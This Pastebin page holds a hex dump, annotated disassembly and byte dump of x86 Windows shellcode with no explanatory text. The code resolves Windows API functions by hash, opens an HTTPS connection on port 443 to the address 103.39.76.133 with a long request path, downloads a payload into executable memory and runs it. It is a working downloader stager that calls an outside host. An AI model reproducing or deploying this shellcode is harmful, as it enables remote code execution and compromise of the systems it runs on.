Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Hex dump: fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 10 8b 4a 3c 8b 4c 11 78 e3 48 01 d1 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb 8d 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 31 db 53 53 53 53 53 68 3a 56 79 a7 ff d5 53 53 6a 03 53 53 68 bb 01 00 00 e8 28 01 00 00 2f 63 4d 45 67 64 6a 6b 31 31 4c 35 53 78 46 50 46 43 7a 4b 42 32 67 58 78 44 7a 55 78 67 4e 4b 4c 63 62 72 68 70 2d 48 6a 51 7a 43 36 76 45 67 65 64 77 63 52 4f 4d 69 76 46 71 54 47 37 55 75 4a 79 78 71 4f 57 33 6b 53 5a 4a 69 52 43 73 2d 7a 42 44 65 64 7a 63 45 78 47 4c 4f 4b 55 4d 79 62 72 4b 56 6b 42 64 37 76 36 6b 4e 6e 59 50 76 38 4c 57 69 4e 48 65 45 5a 4c 58 58 77 45 61 79 37 78 59 75 4a 74 43 5f 4b 46 66 4a 61 58 71 38 41 72 62 7a 44 68 48 4a 00 50 68 57 89 9f c6 ff d5 89 c6 53 68 00 32 e0 84 53 53 53 57 53 56 68 eb 55 2e 3b ff d5 96 6a 0a 5f 68 80 33 00 00 89 e0 6a 04 50 6a 1f 56 68 75 46 9e 86 ff d5 53 53 53 53 56 68 2d 06 18 7b ff d5 85 c0 75 14 68 88 13 00 00 68 44 f0 35 e0 ff d5 4f 75 cd e8 4a 00 00 00 6a 40 68 00 10 00 00 68 00 00 40 00 53 68 58 a4 53 e5 ff d5 93 53 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 cf 8b 07 01 c3 85 c0 75 e5 58 c3 5f e8 6b ff ff ff 31 30 33 2e 33 39 2e 37 36 2e 31 33 33 00 bb f0 b5 a2 56 6a 00 53 ff d5
- 0x00000000 fc cld
- 0x00000001 e882000000 call 0x00000088
- 0x00000006 60 pushad
- 0x00000007 89e5 mov ebp,esp
- 0x00000009 31c0 xor eax,eax
- 0x0000000b 648b5030 fs: mov edx,dword [eax + 48]
- 0x0000000f 8b520c mov edx,dword [edx + 12]
- 0x00000012 8b5214 mov edx,dword [edx + 20]
- 0x00000015 8b7228 mov esi,dword [edx + 40]
- 0x00000018 0fb74a26 movzx ecx,word [edx + 38]
- 0x0000001c 31ff xor edi,edi
- 0x0000001e ac lodsb
- 0x0000001f 3c61 cmp al,97
- 0x00000021 7c02 jl 0x00000025
- 0x00000023 2c20 sub al,32
- 0x00000025 c1cf0d ror edi,13
- 0x00000028 01c7 add edi,eax
- 0x0000002a e2f2 loop 0x0000001e
- 0x0000002c 52 push edx
- 0x0000002d 57 push edi
- 0x0000002e 8b5210 mov edx,dword [edx + 16]
- 0x00000031 8b4a3c mov ecx,dword [edx + 60]
- 0x00000034 8b4c1178 mov ecx,dword [ecx + edx + 120]
- 0x00000038 e348 jecxz 0x00000082
- 0x0000003a 01d1 add ecx,edx
- 0x0000003c 51 push ecx
- 0x0000003d 8b5920 mov ebx,dword [ecx + 32]
- 0x00000040 01d3 add ebx,edx
- 0x00000042 8b4918 mov ecx,dword [ecx + 24]
- 0x00000045 e33a jecxz 0x00000081
- 0x00000047 49 dec ecx
- 0x00000048 8b348b mov esi,dword [ebx + ecx * 4]
- 0x0000004b 01d6 add esi,edx
- 0x0000004d 31ff xor edi,edi
- 0x0000004f ac lodsb
- 0x00000050 c1cf0d ror edi,13
- 0x00000053 01c7 add edi,eax
- 0x00000055 38e0 cmp al,ah
- 0x00000057 75f6 jnz 0x0000004f
- 0x00000059 037df8 add edi,dword [ebp - 8]
- 0x0000005c 3b7d24 cmp edi,dword [ebp + 36]
- 0x0000005f 75e4 jnz 0x00000045
- 0x00000061 58 pop eax
- 0x00000062 8b5824 mov ebx,dword [eax + 36]
- 0x00000065 01d3 add ebx,edx
- 0x00000067 668b0c4b mov cx,word [ebx + ecx * 2]
- 0x0000006b 8b581c mov ebx,dword [eax + 28]
- 0x0000006e 01d3 add ebx,edx
- 0x00000070 8b048b mov eax,dword [ebx + ecx * 4]
- 0x00000073 01d0 add eax,edx
- 0x00000075 89442424 mov dword [esp + 36],eax
- 0x00000079 5b pop ebx
- 0x0000007a 5b pop ebx
- 0x0000007b 61 popad
- 0x0000007c 59 pop ecx
- 0x0000007d 5a pop edx
- 0x0000007e 51 push ecx
- 0x0000007f ffe0 jmp eax
- 0x00000081 5f pop edi
- 0x00000082 5f pop edi
- 0x00000083 5a pop edx
- 0x00000084 8b12 mov edx,dword [edx]
- 0x00000086 eb8d jmp 0x00000015
- 0x00000088 5d pop ebp
- 0x00000089 686e657400 push 0x0074656e--> 'ten'
- 0x0000008e 6877696e69 push 0x696e6977--> 'iniw'
- 0x00000093 54 push esp
- 0x00000094 684c772607 push 0x0726774c--> '&wL'
- 0x00000099 ffd5 call ebp --> kernel32.dll!LoadLibraryA
- 0x0000009b 31db xor ebx,ebx
- 0x0000009d 53 push ebx
- 0x0000009e 53 push ebx
- 0x0000009f 53 push ebx
- 0x000000a0 53 push ebx
- 0x000000a1 53 push ebx
- 0x000000a2 683a5679a7 push 0xa779563a--> 'yV:'
- 0x000000a7 ffd5 call ebp --> wininet.dll!InternetOpenA
- 0x000000a9 53 push ebx
- 0x000000aa 53 push ebx
- 0x000000ab 6a03 push 3
- 0x000000ad 53 push ebx
- 0x000000ae 53 push ebx
- 0x000000af 68bb010000 push 443
- 0x000000b4 e828010000 call 0x000001e1
- 0x000000b9 2f das
- 0x000000ba 634d45 arpl word [ebp + 69],cx
- 0x000000bd 67646a6b fs: push 107
- 0x000000c1 3131 xor dword [ecx],esi
- 0x000000c3 4c dec esp
- 0x000000c4 3553784650 xor eax,0x50467853
- 0x000000c9 46 inc esi
- 0x000000ca 43 inc ebx
- 0x000000cb 7a4b jpe 0x00000118
- 0x000000cd 42 inc edx
- 0x000000ce 326758 xor ah,byte [edi + 88]
- 0x000000d1 7844 js 0x00000117
- 0x000000d3 7a55 jpe 0x0000012a
- 0x000000d5 7867 js 0x0000013e
- 0x000000d7 4e dec esi
- 0x000000d8 4b dec ebx
- 0x000000d9 4c dec esp
- 0x000000da 636272 arpl word [edx + 114],sp
- 0x000000dd 68702d486a push 0x6a482d70--> 'jH-p'
- 0x000000e2 51 push ecx
- 0x000000e3 7a43 jpe 0x00000128
- 0x000000e5 367645 ss: jbe 0x0000012d
- 0x000000e8 6765647763 fsgs: ja 0x00000150
- 0x000000ed 52 push edx
- 0x000000ee 4f dec edi
- 0x000000ef 4d dec ebp
- 0x000000f0 69764671544737 imul esi,dword [esi + 70],0x37475471
- 0x000000f7 55 push ebp
- 0x000000f8 754a jnz 0x00000144
- 0x000000fa 7978 jns 0x00000174
- 0x000000fc 714f jno 0x0000014d
- 0x000000fe 57 push edi
- 0x000000ff 336b53 xor ebp,dword [ebx + 83]
- 0x00000102 5a pop edx
- 0x00000103 4a dec edx
- 0x00000104 695243732d7a42 imul edx,dword [edx + 67],0x427a2d73
- 0x0000010b 44 inc esp
- 0x0000010c 65647a63 fsgs: jpe 0x00000173
- 0x00000110 45 inc ebp
- 0x00000111 7847 js 0x0000015a
- 0x00000113 4c dec esp
- 0x00000114 4f dec edi
- 0x00000115 4b dec ebx
- 0x00000116 55 push ebp
- 0x00000117 4d dec ebp
- 0x00000118 7962 jns 0x0000017c
- 0x0000011a 724b jc 0x00000167
- 0x0000011c 56 push esi
- 0x0000011d 6b426437 imul eax,dword [edx + 100],55
- 0x00000121 7636 jbe 0x00000159
- 0x00000123 6b4e6e59 imul ecx,dword [esi + 110],89
- 0x00000127 50 push eax
- 0x00000128 7638 jbe 0x00000162
- 0x0000012a 4c dec esp
- 0x0000012b 57 push edi
- 0x0000012c 694e4865455a4c imul ecx,dword [esi + 72],0x4c5a4565
- 0x00000133 58 pop eax
- 0x00000134 58 pop eax
- 0x00000135 7745 ja 0x0000017c
- 0x00000137 61 popad
- 0x00000138 7937 jns 0x00000171
- 0x0000013a 7859 js 0x00000195
- 0x0000013c 754a jnz 0x00000188
- 0x0000013e 7443 jz 0x00000183
- 0x00000140 5f pop edi
- 0x00000141 4b dec ebx
- 0x00000142 46 inc esi
- 0x00000143 664a dec edx
- 0x00000145 61 popad
- 0x00000146 58 pop eax
- 0x00000147 7138 jno 0x00000181
- 0x00000149 41 inc ecx
- 0x0000014a 7262 jc 0x000001ae
- 0x0000014c 7a44 jpe 0x00000192
- 0x0000014e 68484a0050 push 0x50004a48--> 'PJH'
- 0x00000153 6857899fc6 push 0xc69f8957
- 0x00000158 ffd5 call ebp --> wininet.dll!InternetConnectA
- 0x0000015a 89c6 mov esi,eax
- 0x0000015c 53 push ebx
- 0x0000015d 680032e084 push 0x84e03200
- 0x00000162 53 push ebx
- 0x00000163 53 push ebx
- 0x00000164 53 push ebx
- 0x00000165 57 push edi
- 0x00000166 53 push ebx
- 0x00000167 56 push esi
- 0x00000168 68eb552e3b push 0x3b2e55eb--> ';.U'
- 0x0000016d ffd5 call ebp --> wininet.dll!HttpOpenRequestA
- 0x0000016f 96 xchg eax,esi
- 0x00000170 6a0a push 10
- 0x00000172 5f pop edi
- 0x00000173 6880330000 push 0x00003380
- 0x00000178 89e0 mov eax,esp
- 0x0000017a 6a04 push 4
- 0x0000017c 50 push eax
- 0x0000017d 6a1f push 31
- 0x0000017f 56 push esi
- 0x00000180 6875469e86 push 0x869e4675--> 'Fu'
- 0x00000185 ffd5 call ebp --> wininet.dll!InternetSetOptionA
- 0x00000187 53 push ebx
- 0x00000188 53 push ebx
- 0x00000189 53 push ebx
- 0x0000018a 53 push ebx
- 0x0000018b 56 push esi
- 0x0000018c 682d06187b push 0x7b18062d--> '{-'
- 0x00000191 ffd5 call ebp --> wininet.dll!HttpSendRequestA
- 0x00000193 85c0 test eax,eax
- 0x00000195 7514 jnz 0x000001ab
- 0x00000197 6888130000 push 0x00001388
- 0x0000019c 6844f035e0 push 0xe035f044--> '5D'
- 0x000001a1 ffd5 call ebp --> kernel32.dll!Sleep
- 0x000001a3 4f dec edi
- 0x000001a4 75cd jnz 0x00000173
- 0x000001a6 e84a000000 call 0x000001f5
- 0x000001ab 6a40 push 64
- 0x000001ad 6800100000 push 4096
- 0x000001b2 6800004000 push 0x00400000
- 0x000001b7 53 push ebx
- 0x000001b8 6858a453e5 push 0xe553a458--> 'SX'
- 0x000001bd ffd5 call ebp --> kernel32.dll!VirtualAlloc
- 0x000001bf 93 xchg eax,ebx
- 0x000001c0 53 push ebx
- 0x000001c1 53 push ebx
- 0x000001c2 89e7 mov edi,esp
- 0x000001c4 57 push edi
- 0x000001c5 6800200000 push 0x00002000
- 0x000001ca 53 push ebx
- 0x000001cb 56 push esi
- 0x000001cc 68129689e2 push 0xe2899612
- 0x000001d1 ffd5 call ebp --> wininet.dll!InternetReadFile
- 0x000001d3 85c0 test eax,eax
- 0x000001d5 74cf jz 0x000001a6
- 0x000001d7 8b07 mov eax,dword [edi]
- 0x000001d9 01c3 add ebx,eax
- 0x000001db 85c0 test eax,eax
- 0x000001dd 75e5 jnz 0x000001c4
- 0x000001df 58 pop eax
- 0x000001e0 c3 ret
- 0x000001e1 5f pop edi
- 0x000001e2 e86bffffff call 0x00000152
- 0x000001e7 3130 xor dword [eax],esi
- 0x000001e9 332e xor ebp,dword [esi]
- 0x000001eb 3339 xor edi,dword [ecx]
- 0x000001ed 2e37 cs: aaa
- 0x000001ef 362e3133 csss: xor dword [ebx],esi
- 0x000001f3 3300 xor eax,dword [eax]
- 0x000001f5 bbf0b5a256 mov ebx,0x56a2b5f0
- 0x000001fa 6a00 push 0
- 0x000001fc 53 push ebx
- 0x000001fd ffd5 call ebp
- Byte Dump:
- ......`..1.d.P0.R.R..r(..J&1..<a|.,......RW.R..J<.L.x.H..Q.Y...I..:I.4...1......8.u..}.;}$u.X.X$..f.K.X.........D$$[[aYZQ..__Z....]hnet.hwiniThLw&...1.SSSSSh:Vy...SSj.SSh.....(.../cMEgdjk11L5SxFPFCzKB2gXxDzUxgNKLcbrhp-HjQzC6vEgedwcROMivFqTG7UuJyxqOW3kSZJiRCs-zBDedzcExGLOKUMybrKVkBd7v6kNnYPv8LWiNHeEZLXXwEay7xYuJtC_KFfJaXq8ArbzDhHJ.PhW.......Sh.2..SSSWSVh.U.;...j_h.3....j.Pj.VhuF....SSSSVh-..{[email protected][email protected]._.k...103.39.76.133.....Vj.S..
Advertisement
Add Comment
Please, Sign In to add comment
